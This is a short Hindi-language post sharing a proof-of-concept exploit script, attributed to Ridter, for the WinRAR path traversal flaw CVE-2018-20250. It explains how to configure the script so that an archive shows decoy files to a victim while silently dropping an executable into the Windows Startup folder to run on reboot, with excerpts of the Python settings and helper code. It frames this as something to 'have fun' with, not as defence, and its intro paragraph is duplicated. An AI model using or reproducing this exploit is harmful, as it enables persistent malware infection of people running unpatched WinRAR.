
WinRar विंडोज के लिए एक बहुत प्रसिद्ध सॉफ्टवेयर है। WinRaR के पिछले संस्करण में एक भेद्यता थी जिसे फरवरी-2019 में पैच किया गया था। अधिकांश लोगों ने winrar को अपडेट नहीं किया, इसलिए वे इस Absolute Path Traversal बग [CVE-2018-20250] के प्रति संवेदनशील हैं।
WinRar विंडोज के लिए एक बहुत व्यापक रूप से जाना जाने वाला सॉफ्टवेर है। WinRaR के पिछले संस्करण में एक कमजोरी थी जिसे फरवरी-2019 में पैच किया गया था। अधिकांश लोगों ने winrar को अपडेट नहीं किया, इसलिए वे इस एब्सोल्यूट पाथ ट्रैवर्सल बग [CVE-2018-20250] के प्रति संवेदनशील हैं।
विनरार से कोड निष्पादन निकालना के लिए एक्सप
Ridter द्वारा poc
का उपयोग कैसे करें?
आपको बस python 3.7 इंस्टॉल करना होगा, और एक ईविल फ़ाइल तैयार करनी होगी जिसे आप चलाना चाहते हैं, अपने इच्छित मान सेट करें, यह एक्सप स्क्रिप्ट स्वचालित रूप से ईविल आर्काइव फ़ाइल जनरेट करेगी!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
एक्सप चलाएं, एक्सप स्वचालित रूप से test.rar जनरेट करता है
यदि पीड़ित test.rar खोलता है, तो उसे hello.txt और world.txt फ़ाइलें दिखाई देंगी, आप और अधिक फ़ाइलें, अधिक आकर्षक फ़ाइलें भी जोड़ सकते हैं।
![]()
hi.exe नामक एक और फ़ाइल आ जाएगी, वास्तव में यह एक calc.exe है। जब वह कंप्यूटर पुनरारंभ करता है, तो hi.exe चलेगा।![]()
मज़े करो! :)